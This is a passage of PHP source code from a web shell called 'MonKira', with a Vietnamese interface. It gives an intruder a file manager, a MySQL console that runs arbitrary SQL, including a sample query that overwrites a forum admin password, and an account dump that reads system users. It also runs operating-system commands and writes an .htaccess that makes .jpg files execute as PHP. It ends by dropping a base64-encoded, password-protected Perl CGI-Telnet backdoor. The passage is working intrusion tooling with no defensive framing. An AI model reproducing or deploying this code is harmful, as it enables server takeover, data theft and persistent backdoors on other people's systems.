805 $dirdb['server_link'] = $filepath;
806 $dirdb['client_link'] = ue($filepath);
807 $dirdata[] = $dirdb;
808 } else {
809 $filedb['filename'] = $file;
810 $filedb['size'] = sizecount(@filesize($filepath));
811 $filedb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
812 $filedb['filechmod'] = getChmod($filepath);
813 $filedb['fileperm'] = getPerms($filepath);
814 $filedb['fileowner'] = getUser($filepath);
815 $filedb['dirlink'] = $nowpath;
816 $filedb['server_link'] = $filepath;
817 $filedb['client_link'] = ue($filepath);
818 $filedata[] = $filedb;
819 }
820 }
821 unset($dirdb);
822 unset($filedb);
823 @closedir($dirs);
824 }
825 @sort($dirdata);
826 @sort($filedata);
827 $dir_i = '0';
828 foreach ($dirdata as $key => $dirdb) {
829 if ($dirdb['filename'] != '..' && $dirdb['filename'] != '.') {
830 $thisbg = bg();
831 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
832 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
833 p('<td><a href="javascript:godir(\'' . $dirdb['server_link'] . '\');">' . $dirdb['filename'] . '</a></td>');
834 p('<td nowrap>' . $dirdb['mtime'] . '</td>');
835 p('<td nowrap>MonKira</td>');
836 p('<td nowrap>');
837 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirchmod'] . '</a> / ');
838 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirperm'] . '</a>' . $dirdb['fileowner'] . '</td>');
839 p('<td nowrap><a href="javascript:dofile(\'deldir\',\'' . $dirdb['server_link'] . '\',\'MonKira muốn xóa??? ' . $dirdb['filename'] . '? \\n\\nTất cả file trong thư mục sẽ bị xóa??.\')">Xóa</a> | <a href="javascript:rename(\'' . $dirdb['server_link'] . '\');">Đổi tên</a></td>');
840 p('</tr>');
841 $dir_i++;
842 } else {
843 if ($dirdb['filename'] == '..') {
844 p('<tr class=fout>');
845 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\'' . getUpPath($nowpath) . '\');">Thư mục trước</a></td>');
846 p('</tr>');
847 }
848 }
849 }
850 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
851 p('<form id="filelist" name="filelist" action="' . $self . '" method="post">');
852 makehide('action', 'file');
853 makehide('thefile');
854 makehide('doing');
855 makehide('dir', $nowpath);
856 $file_i = '0';
857 foreach ($filedata as $key => $filedb) {
858 if ($filedb['filename'] != '..' && $filedb['filename'] != '.') {
859 $fileurl = str_replace(SA_ROOT, '', $filedb['server_link']);
860 $thisbg = bg();
861 p('<tr class="fout" onmouseover="this.className=\focus\;" onmouseout="this.className=\fout\;">');
862 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl[' . $filedb['server_link'] . ']"></td>');
863 p('<td><a href="' . $fileurl . '" target="_blank">' . $filedb['filename'] . '</a></td>');
864 p('<td nowrap>' . $filedb['mtime'] . '</td>');
865 p('<td nowrap>' . $filedb['size'] . '</td>');
866 p('<td nowrap>');
867 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['filechmod'] . '</a> / ');
868 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['fileperm'] . '</a>' . $filedb['fileowner'] . '</td>');
869 p('<td nowrap>');
870 p('<a href="javascript:dofile(\'downfile\',\'' . $filedb['server_link'] . '\');">Tải về</a> | ');
871 p('<a href="javascript:copyfile(\'' . $filedb['server_link'] . '\');">Sao chép</a> | ');
872 p('<a href="javascript:opfile(\'editfile\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Sửa</a> | ');
873 p('<a href="javascript:rename(\'' . $filedb['server_link'] . '\');">Đổi tên</a> | ');
874 p('<a href="javascript:opfile(\'newtime\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Thời gian</a>');
875 p('</td></tr>');
876 $file_i++;
877 $file_i++;
878 }
879 }
880 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Tải về những mục đã chọn</a> - <a href="javascript:dofile(\'delfiles\');">Xóa </a></td><td colspan="4" align="right">' . $dir_i . ' Thư mục / ' . $file_i . ' files</td></tr>');
881 p('</form></table>');
882} // end dir
883
884
885?><script type="text/javascript">
886function mysqlfile(doing){
887 if(!doing) return;
888 $('doing').value=doing;
889 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
890 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
891 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
892 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
893 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
894 $('mysqlfile').charset.value=$('dbinfo').charset.value;
895 $('mysqlfile').submit();
896}
897</script>
898<?php
899 //setup php for working with Unicode data
900mb_internal_encoding('UTF-8');
901mb_http_output('UTF-8');
902mb_http_input('UTF-8');
903mb_language('uni');
904mb_regex_encoding('UTF-8');
905ob_start('mb_output_handler');
906if ($action == 'sqladmin') {
907 !$dbhost && $dbhost = 'localhost';
908 !$dbuser && $dbuser = 'root';
909 !$dbport && $dbport = '3306';
910 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
911 if (isset($dbhost)) {
912 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
913 }
914 if (isset($dbuser)) {
915 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
916 }
917 if (isset($dbpass)) {
918 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
919 }
920 if (isset($dbport)) {
921 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
922 }
923 if (isset($dbname)) {
924 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
925 }
926 if (isset($charset)) {
927 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
928 }
929 if ($doing == 'backupmysql' && $saveasfile) {
930 if (!$table) {
931 m('Please choose the table');
932 } else {
933 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
934 $table = array_flip($table);
935 $fp = @fopen($path, 'w');
936 if ($fp) {
937 $result = q('SHOW tables');
938 if (!$result)
939 p('<h2>' . mysql_error() . '</h2>');
940 $mysqldata = '';
941 while ($currow = mysql_fetch_array($result)) {
942 if (isset($table[$currow[0]])) {
943 sqldumptable($currow[0], $fp);
944 }
945 }
946 fclose($fp);
947 $fileurl = str_replace(SA_ROOT, '', $path);
948 m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
949 mysql_close();
950 } else {
951 m('Backup failed');
952 }
953 }
954 }
955 if ($insert && $insertsql) {
956 $keystr = $valstr = $tmp = '';
957 foreach ($insertsql as $key => $val) {
958 if ($val) {
959 $keystr .= $tmp . $key;
960 $valstr .= $tmp . "'" . addslashes($val) . "'";
961 $tmp = ',';
962 }
963 }
964 if ($keystr && $valstr) {
965 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
966 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
967 }
968 }
969 if ($update && $insertsql && $base64) {
970 $valstr = $tmp = '';
971 foreach ($insertsql as $key => $val) {
972 $valstr .= $tmp . $key . "='" . addslashes($val) . "'";
973 $tmp = ',';
974 }
975 if ($valstr) {
976 $where = base64_decode($base64);
977 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
978 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Cập nhật thành công' : mysql_error());
979 }
980 }
981 if ($doing == 'del' && $base64) {
982 $where = base64_decode($base64);
983 $delete_sql = "DELETE FROM $tablename WHERE $where";
984 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
985 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
986 }
987 if ($tablename && $doing == 'drop') {
988 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
989 if (q("DROP TABLE $tablename")) {
990 m('Drop table of success');
991 $tablename = '';
992 } else {
993 m(mysql_error());
994 }
995 }
996 $charsets = array(
997 '' => 'Default',
998 'gbk' => 'GBK',
999 'big5' => 'Big5',
1000 'utf8' => 'UTF-8',
1001 'latin1' => 'Latin1'
1002 );
1003 formhead(array(
1004 'title' => 'MYSQL Manager'
1005 ));
1006 makehide('action', 'sqladmin');
1007 p('<p>');
1008 p('DBHost:');
1009 makeinput(array(
1010 'name' => 'dbhost',
1011 'size' => 20,
1012 'value' => $dbhost
1013 ));
1014 p(':');
1015 makeinput(array(
1016 'name' => 'dbport',
1017 'size' => 4,
1018 'value' => $dbport
1019 ));
1020 p('DBUser:');
1021 makeinput(array(
1022 'name' => 'dbuser',
1023 'size' => 15,
1024 'value' => $dbuser
1025 ));
1026 p('DBPass:');
1027 makeinput(array(
1028 'name' => 'dbpass',
1029 'size' => 15,
1030 'value' => $dbpass
1031 ));
1032 p('DBCharset:');
1033 makeselect(array(
1034 'name' => 'charset',
1035 'option' => $charsets,
1036 'selected' => $charset
1037 ));
1038 makeinput(array(
1039 'name' => 'connect',
1040 'value' => 'Connect',
1041 'type' => 'submit',
1042 'class' => 'bt'
1043 ));
1044 p('</p>');
1045 formfoot();
1046?><script type="text/javascript">
1047function editrecord(action, base64, tablename){
1048 if (action == 'del') {
1049 if (!confirm('Is or isn\'t deletion record?')) return;
1050 }
1051 $('recordlist').doing.value=action;
1052 $('recordlist').base64.value=base64;
1053 $('recordlist').tablename.value=tablename;
1054 $('recordlist').submit();
1055}
1056function moddbname(dbname) {
1057 if(!dbname) return;
1058 $('setdbname').dbname.value=dbname;
1059 $('setdbname').submit();
1060}
1061function settable(tablename,doing,page) {
1062 if(!tablename) return;
1063 if (doing) {
1064 $('settable').doing.value=doing;
1065 }
1066 if (page) {
1067 $('settable').page.value=page;
1068 }
1069 $('settable').tablename.value=tablename;
1070 $('settable').submit();
1071}
1072</script>
1073<?php
1074 formhead(array(
1075 'name' => 'recordlist'
1076 ));
1077 makehide('doing');
1078 makehide('action', 'sqladmin');
1079 makehide('base64');
1080 makehide('tablename');
1081 p($dbform);
1082 formfoot();
1083 formhead(array(
1084 'name' => 'setdbname'
1085 ));
1086 makehide('action', 'sqladmin');
1087 p($dbform);
1088 if (!$dbname) {
1089 makehide('dbname');
1090 }
1091 formfoot();
1092 formhead(array(
1093 'name' => 'settable'
1094 ));
1095 makehide('action', 'sqladmin');
1096 p($dbform);
1097 makehide('tablename');
1098 makehide('page', $page);
1099 makehide('doing');
1100 formfoot();
1101 $cachetables = array();
1102 $pagenum = 30;
1103 $page = intval($page);
1104 if ($page) {
1105 $start_limit = ($page - 1) * $pagenum;
1106 } else {
1107 $start_limit = 0;
1108 $page = 1;
1109 }
1110 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
1111 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1112 // get mysql server
1113 $mysqlver = mysql_get_server_info();
1114 p('<p>MySQL ' . $mysqlver . ' running in ' . $dbhost . ' as ' . $dbuser . '@' . $dbhost . '</p>');
1115 $highver = $mysqlver > '4.1' ? 1 : 0;
1116
1117 // Show database
1118 $query = q("SHOW DATABASES");
1119 $dbs = array();
1120 $dbs[] = '-- Select a database --';
1121 while ($db = mysql_fetch_array($query)) {
1122 $dbs[$db['Database']] = $db['Database'];
1123 }
1124 makeselect(array(
1125 'title' => 'Please select a database:',
1126 'name' => 'db[]',
1127 'option' => $dbs,
1128 'selected' => $dbname,
1129 'onchange' => 'moddbname(this.options[this.selectedIndex].value)',
1130 'newline' => 1
1131 ));
1132 $tabledb = array();
1133 if ($dbname) {
1134 p('<p>');
1135 p('Current dababase: <a href="javascript:moddbname(\'' . $dbname . '\');">' . $dbname . '</a>');
1136 if ($tablename) {
1137 p(' | Current Table: <a href="javascript:settable(\'' . $tablename . '\');">' . $tablename . '</a> [ <a href="javascript:settable(\'' . $tablename . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $tablename . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $tablename . '\', \'drop\');">Drop</a> ]');
1138 }
1139 p('</p>');
1140 mysql_select_db($dbname);
1141 $getnumsql = '';
1142 $runquery = 0;
1143 if ($sql_query) {
1144 $runquery = 1;
1145 }
1146 $allowedit = 0;
1147 if ($tablename && !$sql_query) {
1148 $sql_query = "SELECT * FROM $tablename";
1149 $getnumsql = $sql_query;
1150 $sql_query = $sql_query . " LIMIT $start_limit, $pagenum";
1151 $allowedit = 1;
1152 }
1153 p('<form action="' . $self . '" method="POST">');
1154 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>' . $dbname . '</font></b>:<BR>Example VBB Password: <font color=red>RiOZanR</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
1155 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">' . htmlspecialchars($sql_query, ENT_QUOTES) . '</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
1156 makehide('tablename', $tablename);
1157 makehide('action', 'sqladmin');
1158 p($dbform);
1159 p('</form>');
1160 if ($tablename || ($runquery && $sql_query)) {
1161 if ($doing == 'structure') {
1162 $result = q("SHOW COLUMNS FROM $tablename");
1163 $rowdb = array();
1164 while ($row = mysql_fetch_array($result)) {
1165 $rowdb[] = $row;
1166 }
1167 p('<table border="0" cellpadding="3" cellspacing="0">');
1168 p('<tr class="head">');
1169 p('<td>Field</td>');
1170 p('<td>Type</td>');
1171 p('<td>Null</td>');
1172 p('<td>Key</td>');
1173 p('<td>Default</td>');
1174 p('<td>Extra</td>');
1175 p('</tr>');
1176 foreach ($rowdb as $row) {
1177 $thisbg = bg();
1178 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1179 p('<td>' . $row['Field'] . '</td>');
1180 p('<td>' . $row['Type'] . '</td>');
1181 p('<td>' . $row['Null'] . ' </td>');
1182 p('<td>' . $row['Key'] . ' </td>');
1183 p('<td>' . $row['Default'] . ' </td>');
1184 p('<td>' . $row['Extra'] . ' </td>');
1185 p('</tr>');
1186 }
1187 tbfoot();
1188 } elseif ($doing == 'insert' || $doing == 'edit') {
1189 $result = q('SHOW COLUMNS FROM ' . $tablename);
1190 while ($row = mysql_fetch_array($result)) {
1191 $rowdb[] = $row;
1192 }
1193 $rs = array();
1194 if ($doing == 'insert') {
1195 p('<h2>Insert new line in ' . $tablename . ' table »</h2>');
1196 } else {
1197 p('<h2>Update record in ' . $tablename . ' table »</h2>');
1198 $where = base64_decode($base64);
1199 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1200 $rs = mysql_fetch_array($result);
1201 }
1202 p('<form method="post" action="' . $self . '">');
1203 p($dbform);
1204 makehide('action', 'sqladmin');
1205 makehide('tablename', $tablename);
1206 p('<table border="0" cellpadding="3" cellspacing="0">');
1207 foreach ($rowdb as $row) {
1208 if ($rs[$row['Field']]) {
1209 $value = htmlspecialchars($rs[$row['Field']]);
1210 } else {
1211 $value = '';
1212 }
1213 $thisbg = bg();
1214 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1215 p('<td><b>' . $row['Field'] . '</b><br />' . $row['Type'] . '</td><td><textarea class="area" name="insertsql[' . $row['Field'] . ']" style="width:500px;height:60px;overflow:auto;">' . $value . '</textarea></td></tr>');
1216 }
1217 if ($doing == 'insert') {
1218 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1219 } else {
1220 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1221 makehide('base64', $base64);
1222 }
1223 p('</table></form>');
1224 } else {
1225 $querys = @explode(';', $sql_query);
1226 foreach ($querys as $num => $query) {
1227 if ($query) {
1228 p("<p><b>Query#{$num} : " . htmlspecialchars($query, ENT_QUOTES) . "</b></p>");
1229 switch (qy($query)) {
1230 case 0:
1231 p('<h2>Error : ' . mysql_error() . '</h2>');
1232 break;
1233 case 1:
1234 if (strtolower(substr($query, 0, 13)) == 'select * from') {
1235 $allowedit = 1;
1236 }
1237 if ($getnumsql) {
1238 $tatol = mysql_num_rows(q($getnumsql));
1239 $multipage = multi($tatol, $pagenum, $page, $tablename);
1240 }
1241 if (!$tablename) {
1242 $sql_line = str_replace(array(
1243 "\r",
1244 "\n",
1245 "\t"
1246 ), array(
1247 ' ',
1248 ' ',
1249 ' '
1250 ), trim(htmlspecialchars($query)));
1251 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1252 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i", $sql_line, $matches);
1253 $tablename = $matches[1][0];
1254 }
1255 $result = q($query);
1256 p($multipage);
1257 p('<table border="0" cellpadding="3" cellspacing="0">');
1258 p('<tr class="head">');
1259 if ($allowedit)
1260 p('<td>Action</td>');
1261 $fieldnum = @mysql_num_fields($result);
1262 for ($i = 0; $i < $fieldnum; $i++) {
1263 $name = @mysql_field_name($result, $i);
1264 $type = @mysql_field_type($result, $i);
1265 $len = @mysql_field_len($result, $i);
1266 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1267 }
1268 p('</tr>');
1269 while ($mn = @mysql_fetch_assoc($result)) {
1270 $thisbg = bg();
1271 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1272 $where = $tmp = $b1 = '';
1273 foreach ($mn as $key => $inside) {
1274 if ($inside) {
1275 $where .= $tmp . $key . "='" . addslashes($inside) . "'";
1276 $tmp = ' AND ';
1277 }
1278 $b1 .= '<td nowrap>' . html_clean($inside) . ' </td>';
1279 }
1280 $where = base64_encode($where);
1281 if ($allowedit)
1282 p('<td nowrap><a href="javascript:editrecord(\'edit\', \'' . $where . '\', \'' . $tablename . '\');">Edit</a> | <a href="javascript:editrecord(\'del\', \'' . $where . '\', \'' . $tablename . '\');">Del</a></td>');
1283 p($b1);
1284 p('</tr>');
1285 unset($b1);
1286 }
1287 tbfoot();
1288 p($multipage);
1289 break;
1290 case 2:
1291 $ar = mysql_affected_rows();
1292 p('<h2>affected rows : <b>' . $ar . '</b></h2>');
1293 break;
1294 }
1295 }
1296 }
1297 }
1298 } else {
1299 $query = q("SHOW TABLE STATUS");
1300 $table_num = $table_rows = $data_size = 0;
1301 $tabledb = array();
1302 while ($table = mysql_fetch_array($query)) {
1303 $data_size = $data_size + $table['Data_length'];
1304 $table_rows = $table_rows + $table['Rows'];
1305 $table['Data_length'] = sizecount($table['Data_length']);
1306 $table_num++;
1307 $tabledb[] = $table;
1308 }
1309 $data_size = sizecount($data_size);
1310 unset($table);
1311 p('<table border="0" cellpadding="0" cellspacing="0">');
1312 p('<form action="' . $self . '" method="POST">');
1313 makehide('action', 'sqladmin');
1314 p($dbform);
1315 p('<tr class="head">');
1316 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1317 p('<td>Name</td>');
1318 p('<td>Rows</td>');
1319 p('<td>Data_length</td>');
1320 p('<td>Create_time</td>');
1321 p('<td>Update_time</td>');
1322 if ($highver) {
1323 p('<td>Engine</td>');
1324 p('<td>Collation</td>');
1325 }
1326 p('</tr>');
1327 foreach ($tabledb as $key => $table) {
1328 $thisbg = bg();
1329 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1330 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="' . $table['Name'] . '" /></td>');
1331 p('<td><a href="javascript:settable(\'' . $table['Name'] . '\');">' . $table['Name'] . '</a> [ <a href="javascript:settable(\'' . $table['Name'] . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'drop\');">Drop</a> ]</td>');
1332 p('<td>' . $table['Rows'] . '</td>');
1333 p('<td>' . $table['Data_length'] . '</td>');
1334 p('<td>' . $table['Create_time'] . '</td>');
1335 p('<td>' . $table['Update_time'] . '</td>');
1336 if ($highver) {
1337 p('<td>' . $table['Engine'] . '</td>');
1338 p('<td>' . $table['Collation'] . '</td>');
1339 }
1340 p('</tr>');
1341 }
1342 p('<tr class=fout>');
1343 p('<td> </td>');
1344 p('<td>Total tables: ' . $table_num . '</td>');
1345 p('<td>' . $table_rows . '</td>');
1346 p('<td>' . $data_size . '</td>');
1347 p('<td colspan="' . ($highver ? 4 : 2) . '"> </td>');
1348 p('</tr>');
1349
1350 p("<tr class=\"fout\"><td colspan=\"" . ($highver ? 8 : 6) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $_SERVER['HTTP_HOST'] . "_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1351 makehide('doing', 'backupmysql');
1352 formfoot();
1353 p("</table>");
1354 fr($query);
1355 }
1356 }
1357 }
1358 tbfoot();
1359 @mysql_close();
1360} elseif ($action == 'etcpwd') {
1361 formhead(array(
1362 'title' => 'Get /etc/passwd'
1363 ));
1364 makehide('action', 'etcpwd');
1365 makehide('dir', $nowpath);
1366 $i = 0;
1367 echo "<p><br><textarea class=\area\ id=\phpcodexxx\ name=\phpcodexxx\ cols=\100\ rows=\25\>";
1368 while ($i < 60000) {
1369 $line = posix_getpwuid($i);
1370 if (!empty($line)) {
1371 while (list($key, $vba_etcpwd) = each($line)) {
1372 echo "" . $vba_etcpwd . "
1373";
1374 break;
1375 }
1376 }
1377 $i++;
1378 }
1379 echo "</textarea></p>";
1380 formfoot();
1381} elseif ($action == 'command') {
1382 if (IS_WIN && IS_COM) {
1383 if ($program && $parameter) {
1384 $shell = new COM('Shell.Application');
1385 $a = $shell->ShellExecute($program, $parameter);
1386 m('Program run has ' . (!$a ? 'success' : 'fail'));
1387 }
1388 !$program && $program = 'c:\indows\ystem32\md.exe';
1389 !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
1390 formhead(array(
1391 'title' => 'Execute Program'
1392 ));
1393 makehide('action', 'shell');
1394 makeinput(array(
1395 'title' => 'Program',
1396 'name' => 'program',
1397 'value' => $program,
1398 'newline' => 1
1399 ));
1400 p('<p>');
1401 makeinput(array(
1402 'title' => 'Parameter',
1403 'name' => 'parameter',
1404 'value' => $parameter
1405 ));
1406 makeinput(array(
1407 'name' => 'submit',
1408 'class' => 'bt',
1409 'type' => 'submit',
1410 'value' => 'Execute'
1411 ));
1412 p('</p>');
1413 formfoot();
1414 }
1415 formhead(array(
1416 'title' => 'Execute Command'
1417 ));
1418 makehide('action', 'shell');
1419 if (IS_WIN && IS_COM) {
1420 $execfuncdb = array(
1421 'phpfunc' => 'phpfunc',
1422 'wscript' => 'wscript',
1423 'proc_open' => 'proc_open'
1424 );
1425 makeselect(array(
1426 'title' => 'Use:',
1427 'name' => 'execfunc',
1428 'option' => $execfuncdb,
1429 'selected' => $execfunc,
1430 'newline' => 1
1431 ));
1432 }
1433 p('<p>');
1434 makeinput(array(
1435 'title' => 'Command',
1436 'name' => 'command',
1437 'value' => $command
1438 ));
1439 makeinput(array(
1440 'name' => 'submit',
1441 'class' => 'bt',
1442 'type' => 'submit',
1443 'value' => 'Execute'
1444 ));
1445 p('</p>');
1446 formfoot();
1447 if ($command) {
1448 p('<hr width="100%" noshade /><pre>');
1449 if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
1450 $wsh = new COM('WScript.shell');
1451 $exec = $wsh->exec('cmd.exe /c ' . $command);
1452 $stdout = $exec->StdOut();
1453 $stroutput = $stdout->ReadAll();
1454 echo $stroutput;
1455 } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
1456 $descriptorspec = array(
1457 0 => array(
1458 'pipe',
1459 'r'
1460 ),
1461 1 => array(
1462 'pipe',
1463 'w'
1464 ),
1465 2 => array(
1466 'pipe',
1467 'w'
1468 )
1469 );
1470 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1471 if (is_resource($process)) {
1472 fwrite($pipes[0], $command . "
1473");
1474 fwrite($pipes[0], "exit
1475");
1476 fclose($pipes[0]);
1477 while (!feof($pipes[1])) {
1478 echo fgets($pipes[1], 1024);
1479 }
1480 fclose($pipes[1]);
1481 while (!feof($pipes[2])) {
1482 echo fgets($pipes[2], 1024);
1483 }
1484 fclose($pipes[2]);
1485 proc_close($process);
1486 }
1487 } else {
1488 echo (execute($command));
1489 }
1490 p('</pre>');
1491 }
1492} elseif ($action == 'log') {
1493 mkdir('MonKira', 0755);
1494 chdir('MonKira');
1495 $kokdosya = ".htaccess";
1496 $dosya_adi = "$kokdosya";
1497 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1498 $metin = "Options +FollowSymLinks +Indexes
1499DirectoryIndex default.html
1500## START ##
1501Options +ExecCGI
1502AddHandler cgi-script log cgi pl tg love h4 tgb x-zone
1503AddType application/x-httpd-php .jpg
1504RewriteEngine on
1505RewriteRule (.*)\war$ .log
1506## END ##";
1507 fwrite($dosya, $metin);
1508 fclose($dosya);
1509 $pythonp = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuNSI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigyNTUsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+TW9uS2lyYTwvZm9udD4iOwoKJFBhc3N3b3JkID0gIm1vbmtpcmFkZyI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzCgkJCQkjIHRvIGxvZ2luLgpzdWIgSXNfV2luKCl7Cgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7CglpZigkb3MgPX4gbS93aW4vaSl7CgkJcmV0dXJuIDE7Cgl9ZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UKCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMKCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuCgokVW5peENtZFNlcCA9ICI7IjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CQkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZAoJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdAoJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4KCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuCgokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUKCQkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZAoJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQoJCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuCgojIERPTidU